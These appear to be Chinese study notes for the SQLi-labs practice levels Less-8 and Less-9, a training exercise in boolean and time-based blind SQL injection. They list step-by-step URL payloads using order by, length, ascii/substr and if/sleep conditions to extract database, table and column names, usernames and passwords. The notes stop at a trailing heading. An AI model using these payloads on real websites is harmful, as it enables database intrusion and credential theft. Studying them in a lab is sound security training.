一、less-8:
布尔型盲注：适合正确和错误都有反应
length（）函数：返回字符串的长度
substr（源字符串,起始位置,可选的长度）截取字符串
ascii（）返回字符串的ascii码
时间型：
sleep（）将程序挂起一段时间n为n秒
if（条件，true，false）函数，true当条件为真时返回的值，false为当前为假时返回的值
在条件部分改动，利用响应时间来确定数据库第一个字母
①确定数字型和字符型：
?id=1 and 1=2
正常反馈为字符型，错误反馈为数字型
②确定闭合符
通过
?id=1' and 1=2
?id=1' and 1=2 --+
来确定闭合符
③查询列数：
确定目标库表中列的数量
通过?id=1' order by 1 --+正常反馈
……
?id=1' order by 4 --+错误反馈
说明表中列的数量有三列。
④猜库名长度
?id=1' and (length(database()))=8 --+进行猜测，页面正常反馈，库名长为8
⑤猜测数据库名
?id=1' and (ascii(substr(database(),1,1)))>=115 --+
根据页面是否正常反馈进行，来确定数据库第一个字母的范围，然后逐渐确定具体字母。
?id=1' and (ascii(substr(database(),2,1)))>=116 --+
⑥猜测表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+
可以猜测出表名的第一个字母。
⑦猜测段名
⑧用户名与密码
二、less-9
函数：
if（要确定正错条件，正确运行的命令，错误运行的命令）
substr（源字符串,起始位置,可选的长度）截取字符串
limit
①确定数字型和字符型：
?id=1 and 1=2
正常反馈为字符型，错误反馈为数字型
可以认定为字符型。
②确定闭合符
通过
?id=1' and 1=2
?id=1' and 1=2 --+
?id=1'"and 1=2 --+
来确定闭合符，发现无论输入什么页面都没有反应，故使用时间盲注。
返回页面都一样，但 是加入sleep（5）条件后，正确的SQL语句页面返回速度明显慢了5
秒，错误的SQL语句立即返回。
?id=1' and sleep(3) --+ 有明显延迟
?id=1" and sleep(3) --+ 无延迟
说明这里的闭合是单引号。
③猜库名长度
?id=1' and if(length(database())>5,sleep(1),sleep(5))--+
根据反应时间确定库名长度
④猜测数据库名
?id=1' and if(ascii(substr((select database()),1,1))>110,sleep(1),sleep(5))--+
依旧根据时间长短进行分析，然后逐个猜出所有的字母
⑤猜测表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(1),sleep(5))--+
依旧根据时间长短进行分析，然后逐个猜出所有的字母
⑥段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name ='users' limit 0,1),1,1))>100,sleep(1),sleep(5))--+
依旧根据时间长短进行分析，然后逐个猜出所有的字母
⑦用户名
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>110,sleep(1),sleep(5))--+
依旧根据时间长短进行分析，然后逐个猜出所有的字母
⑧密码
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>110,sleep(1),sleep(5))--+
便可以得到用户名与对应的密码
关于limit在布尔盲注和时间盲注中的区别：（来自ai）
